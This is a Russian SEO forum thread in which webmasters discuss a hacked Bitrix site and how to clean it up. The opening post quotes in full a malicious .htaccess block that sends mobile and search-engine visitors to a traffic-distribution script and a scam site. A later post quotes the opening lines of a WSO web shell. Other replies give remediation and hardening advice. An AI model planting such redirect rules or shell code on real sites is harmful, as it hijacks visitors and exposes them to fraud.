Попробуйте удалить шелл, чтобы закрыть дыру - Вопросы новичков в SEO

lll3.ru и ooo6.ru - читерский редирект

Shlackbaum · 2020-07-28T15:09:32.0000000Z

Сегодня взломали один из моих хостингов и разместили в htaccess такой код: RewriteEngine on RewriteCond %{HTTP_USER_AGENT} acs [NC,OR] RewriteCond %{HTTP_USER_AGENT} alav [NC,OR] RewriteCond %{HTTP_USER_AGENT} alca [NC,OR] RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR] RewriteCond %{HTTP_USER_AGENT} audi [NC,OR] RewriteCond %{HTTP_USER_AGENT} aste [NC,OR] RewriteCond %{HTTP_USER_AGENT} avan [NC,OR] RewriteCond %{HTTP_USER_AGENT} benq [NC,OR] RewriteCond %{HTTP_USER_AGENT} bird [NC,OR] RewriteCond %{HTTP_USER_AGENT} blac [NC,OR] RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR] RewriteCond %{HTTP_USER_AGENT} brew [NC,OR] RewriteCond %{HTTP_USER_AGENT} cell [NC,OR] RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR] RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR] RewriteCond %{HTTP_USER_AGENT} dang [NC,OR] RewriteCond %{HTTP_USER_AGENT} doco [NC,OR] RewriteCond %{HTTP_USER_AGENT} eric [NC,OR] RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR] RewriteCond %{HTTP_USER_AGENT} inno [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR] RewriteCond %{HTTP_USER_AGENT} java [NC,OR] RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR] RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR] RewriteCond %{HTTP_USER_AGENT} keji [NC,OR] RewriteCond %{HTTP_USER_AGENT} leno [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR] RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR] RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR] RewriteCond %{HTTP_USER_AGENT} maui [NC,OR] RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} mits [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR] RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR] RewriteCond %{HTTP_USER_AGENT} moto [NC,OR] RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR] RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} newt [NC,OR] RewriteCond %{HTTP_USER_AGENT} noki [NC,OR] RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR] RewriteCond %{HTTP_USER_AGENT} palm [NC,OR] RewriteCond %{HTTP_USER_AGENT} pana [NC,OR] RewriteCond %{HTTP_USER_AGENT} pant [NC,OR] RewriteCond %{HTTP_USER_AGENT} pdxg [NC,OR] RewriteCond %{HTTP_USER_AGENT} phil [NC,OR] RewriteCond %{HTTP_USER_AGENT} play [NC,OR] RewriteCond %{HTTP_USER_AGENT} pluc [NC,OR] RewriteCond %{HTTP_USER_AGENT} port [NC,OR] RewriteCond %{HTTP_USER_AGENT} prox [NC,OR] RewriteCond %{HTTP_USER_AGENT} qtek [NC,OR] RewriteCond %{HTTP_USER_AGENT} qwap [NC,OR] RewriteCond %{HTTP_USER_AGENT} sage [NC,OR] RewriteCond %{HTTP_USER_AGENT} sams [NC,OR] RewriteCond %{HTTP_USER_AGENT} sany [NC,OR] RewriteCond %{HTTP_USER_AGENT} sch- [NC,OR] RewriteCond %{HTTP_USER_AGENT} sec- [NC,OR] RewriteCond %{HTTP_USER_AGENT} send [NC,OR] RewriteCond %{HTTP_USER_AGENT} seri [NC,OR] RewriteCond %{HTTP_USER_AGENT} sgh- [NC,OR] RewriteCond %{HTTP_USER_AGENT} shar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sie- [NC,OR] RewriteCond %{HTTP_USER_AGENT} siem [NC,OR] RewriteCond %{HTTP_USER_AGENT} smal [NC,OR] RewriteCond %{HTTP_USER_AGENT} smar [NC,OR] RewriteCond %{HTTP_USER_AGENT} sony [NC,OR] RewriteCond %{HTTP_USER_AGENT} sph- [NC,OR] RewriteCond %{HTTP_USER_AGENT} symb [NC,OR] RewriteCond %{HTTP_USER_AGENT} t-mo [NC,OR] RewriteCond %{HTTP_USER_AGENT} teli [NC,OR] RewriteCond %{HTTP_USER_AGENT} tim- [NC,OR] RewriteCond %{HTTP_USER_AGENT} tosh [NC,OR] RewriteCond %{HTTP_USER_AGENT} tsm- [NC,OR] RewriteCond %{HTTP_USER_AGENT} upg1 [NC,OR] RewriteCond %{HTTP_USER_AGENT} upsi [NC,OR] RewriteCond %{HTTP_USER_AGENT} vk-v [NC,OR] RewriteCond %{HTTP_USER_AGENT} voda [NC,OR] RewriteCond %{HTTP_USER_AGENT} w3cs [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap- [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapa [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapi [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wapr [NC,OR] RewriteCond %{HTTP_USER_AGENT} webc [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} winw [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda [NC,OR] RewriteCond %{HTTP_USER_AGENT} xda- [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.browser [NC,OR] RewriteCond %{HTTP_USER_AGENT} up.link [NC,OR] RewriteCond %{HTTP_USER_AGENT} windows.ce [NC,OR] RewriteCond %{HTTP_USER_AGENT} iemobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} mmp [NC,OR] RewriteCond %{HTTP_USER_AGENT} symbian [NC,OR] RewriteCond %{HTTP_USER_AGENT} midp [NC,OR] RewriteCond %{HTTP_USER_AGENT} wap [NC,OR] RewriteCond %{HTTP_USER_AGENT} phone [NC,OR] RewriteCond %{HTTP_USER_AGENT} pocket [NC,OR] RewriteCond %{HTTP_USER_AGENT} mobile [NC,OR] RewriteCond %{HTTP_USER_AGENT} android [NC,OR] RewriteCond %{HTTP_USER_AGENT} Android [NC,OR] RewriteCond %{HTTP_USER_AGENT} pda [NC,OR] RewriteCond %{HTTP_USER_AGENT} PPC [NC,OR] RewriteCond %{HTTP_USER_AGENT} Series60 [NC,OR] RewriteCond %{HTTP_USER_AGENT} Opera.Mini [NC,OR] RewriteCond %{HTTP_USER_AGENT} ipad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPad [NC,OR] RewriteCond %{HTTP_USER_AGENT} iPhone [NC,OR] RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR] RewriteCond %{HTTP_USER_AGENT} !windows.nt [NC] RewriteCond %{HTTP_USER_AGENT} !bsd [NC] RewriteCond %{HTTP_USER_AGENT} !x11 [NC] RewriteCond %{HTTP_USER_AGENT} !unix [NC] RewriteCond %{HTTP_USER_AGENT} !macos [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !playstation [NC] RewriteCond %{HTTP_USER_AGENT} !google [NC] RewriteCond %{HTTP_USER_AGENT} !yandex [NC] RewriteCond %{HTTP_USER_AGENT} !bot [NC] RewriteCond %{HTTP_USER_AGENT} !libwww [NC] RewriteCond %{HTTP_USER_AGENT} !msn [NC] RewriteCond %{HTTP_USER_AGENT} !america [NC] RewriteCond %{HTTP_USER_AGENT} !avant [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !fdm [NC] RewriteCond %{HTTP_USER_AGENT} !maui [NC] RewriteCond %{HTTP_USER_AGENT} !webmoney [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ http://login.tw1.ru/tds/tds.php?ref=%{HTTP_HOST} [L,R=302] RewriteCond %{HTTP_REFERER} ^ http://www\.ya\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://ya\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.google\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://google\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.yandex\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://yandex\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://www\.google\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://google\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://go\.mail\.ru/ [OR] RewriteCond %{HTTP_REFERER} ^ http://vk\.com/ [OR] RewriteCond %{HTTP_REFERER} ^ http://nova\.rambler\.ru/ RewriteRule ^(.*)$ http://ooo6.ru/?1&source=%{HTTP_HOST} [L,R=302] Заметил, что тупо упали доходы с директа:) Резко уменьшилось количество показов, хотя траф остался тем же (по ли.ру и по Я.Метрке) Полез в Метрику - увидел что траф с ПС уменьшился в 2 раза, но компенсирован трафом по ссылкам. Оказалось что это с сайта вида http://название-сайта.lll3.ru Сайт мошеннический который просит ввести номер телефона, чтобы якобы иметь возможность посмотреть сайт. В общем после некоторых размышлений понял, что ситуация где-то на сервере - в результате чего нашел этот код. Механизм (насколько я понимаю этот код) простой - на уровне сервера половина трафа с ПС тупо перенаправляется на мошеннический сайт. Используется TDS'ка так что видимо это взломали товарищи из соседнего раздела (горите в аду, твари) Для справки: Хостинг - masterhost CMS Битрикс последней обновленной модели. Тему начал, т.к. авось у кого тоже есть такая фигня - мож помогу кому-то, т.к. Гугл и Яндекс мне не помогли. UPD: После удаления говнокода естественно рекомендую заменить все пароли доступов к взломанным или ассоциируемым сайтам.

322

Shlackbaum

23 августа 2012, 10:32

#21

Kotta, есть - удалить шелл и закрыть дыру:)

Но я не умею, а услуга такая стоит у наших спецов на форуме несколько тысяч - поэтому я намекнул тп хостинга что у меня все с безопасностью нормально, а червячок скорее всего с их стороны залез. Ну хз вобщем как-то выкрутился - они сами нашли - я только удалил шелл и поменял htaccess - больше не беспокоит.

Думаю если вы восстановитесь - то как минимум долгое время эта проблема вас беспокоить не будет

Пустота. Какого черта здесь появляется чья-то реклама?

SEO-компания удалила сайт клиента Джон Мюллер: отклонение ссылок Google: большинству сайтов не

K

0

Kotta

23 августа 2012, 10:36

#22

Тогда буду восстанавливаться, а если пролезет, то пусть любимый мастерхост ищет. Кстати у нас проблема вылезала тоже 20.08. И проблем с безопасностью с моей стороны нет - я сам себе админ и ко мне никто кроме меня не лазит.

Google не советует использовать Searchengines 4.0 запускаем! Евгений Ломизе прокомментировал введение

S

0

Shevtcoff

23 августа 2012, 14:17

#23

Здравствуйте, столкнулся с аналогичной проблемой, битрикс и изменение, проверил все, искал похожий скрипт, не могу найти шел! пробовал найти, что-то похожее

<?php
$auth_pass = "9ed550c6d9e390e8a7a720e4c26ecc3a";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

но нету, уже не знаю, что делать

322

Shlackbaum

23 августа 2012, 16:17

#24

Shevtcoff:
Здравствуйте, столкнулся с аналогичной проблемой, битрикс и изменение, проверил все, искал похожий скрипт, не могу найти шел! пробовал найти, что-то похожее
но нету, уже не знаю, что делать

Если метрика стоит - смотрите когда начались переходы странные - потом запрашиваете access.log - и в нем смотрите совпадения по времени - тогда найдете.

Q

0

Qudu

24 августа 2012, 06:32

#25

Всем привет, только для ответа в этой ветки и зарегался.

И так. Шелл лежит у Вас на одном из сайтов на CMS Bitrix в каталоге ../site/bitrix/admin/template_import.php

Шелл WSO.

Как попал?

Скомпроментирована учетная запись администратора на том же сайте где и шел.

Шелл заливается через Админку битрикса - Командная PHP строка.

Что сделать?

Сменить пассы на все учетки, которые имеют доступ в админ панель, на всех сайтах!

Далее:

Для групп администраторов и всех кто имеет доступ в административную панель сайта выставить политики безопасности:

Время жизни сессии (минут): 60

Максимальное количество компьютеров на которых может быть одновременно быть запомнена авторизация: 1

Срок хранения авторизации, запомненной на компьютере пользователя (минут): 120

Минимальная длина пароля: 12

Пароль должен содержать латинские символы верхнего регистра (A-Z): да

Пароль должен содержать латинские символы нижнего регистра (a-z): да

Пароль должен содержать цифры (0-9): да

Пароль должен содержать знаки пунктуации (,.<>/?;:'"[]{}\|`~!@#$%^&*()-_+=): да

Количество попыток ввода пароля до показа CAPTCHA: 3

Проактивный фильтр:

-Активная реакция на вторжение: Очистить опасные данные

-Занести попытку вторжения в журнал: да

-Добавить IP-адрес атакующего в стоп-лист2: на ваше усмотрение

Включить веб-антивирус:

Действия при обнаружении вируса: Вырезать из кода сайта

Интервал оповещения (минуты): 10

На всех сайтах включить контроль целостности:

-Установить пароли.

Хранение сессий в базе данных - Включить

Время жизни идентификатора, в секундах: 15

Зищата редиректов от фишенга - включить

Журналирование событий главного модуля - Включить все

Смена идентификатора сессий - включить

Контроль активности - включить:

-Блокировать на время: 600 сек

-если в течение: 10 сек

-сделано более: 30 хитов

-Сделать запись в журнале событий: да

Удачи, делайте это быстро так как злоумышленники могут изменить шелл, место расположение, использовать обфускацию.

Так же советую переехать на чистую ОС, контейнер, чрут среду, т.к. доверять этой уже нельзя.

Еще полезно в данном случае утилита ai-bolit.php (лучше запускать из командной строки).

IP и hostname редиректов можете оставлять тут, буду наказывать их) 🍿

1

«Играем в доктора»: неправильное LinkedIn предоставила пользователям возможность Яндекс.Поиск о скрытых спам-ссылках

K

0

Kotta

24 августа 2012, 07:35

#26

Мы тоже template_import.php удалили, вроде все почистили. Буду просить чтобы настроили безопасность как Qudu советует.

Спасибо всем огромное!

S

0

Shevtcoff

24 августа 2012, 11:24

#27

Shlackbaum:
Если метрика стоит - смотрите когда начались переходы странные - потом запрашиваете access.log - и в нем смотрите совпадения по времени - тогда найдете.

попробую найти

427

siv1987

24 августа 2012, 11:48

#28

Shlackbaum:
Тему начал, т.к. авось у кого тоже есть такая фигня - мож помогу кому-то, т.к. Гугл и Яндекс мне не помогли.

Такая история чуть ли не у каждого второго взломанного http://www.google.ru/search?client=opera&rls=ru&q=site:forum.searchengines.ru+RewriteCond+%25%7BHTTP_USER_AGENT%7D&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest

http://www.google.ru/search?client=opera&rls=ru&q=site:forum.searchengines.ru+%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B%D0%B9+%D0%BA%D0%BE%D0%B4+%D0%B2+htaccess&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest и тд

S

0

Shevtcoff

24 августа 2012, 12:59

#29

siv1987:
Такая история чуть ли не у каждого второго взломанного http://www.google.ru/search?client=opera&rls=ru&q=site:forum.searchengines.ru+RewriteCond+%25%7BHTTP_USER_AGENT%7D&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest
http://www.google.ru/search?client=opera&rls=ru&q=site:forum.searchengines.ru+%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B%D0%B9+%D0%BA%D0%BE%D0%B4+%D0%B2+htaccess&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest и тд

так, наверное искал он не ссылкой на этот форум! я тоже не находил ничего, кроме этой статьи

S

0

Shevtcoff

28 августа 2012, 06:47

#30

Не получается найти вирус, сейчас нашел скрипт ai-bolit.php, им попробую найти! может кто в этом шарит, сможет помочь!

Все что нужно знать о DDоS-атаках грамотному менеджеру

Курс биткоина превысил $50 тысяч

lll3.ru и ooo6.ru - читерский редирект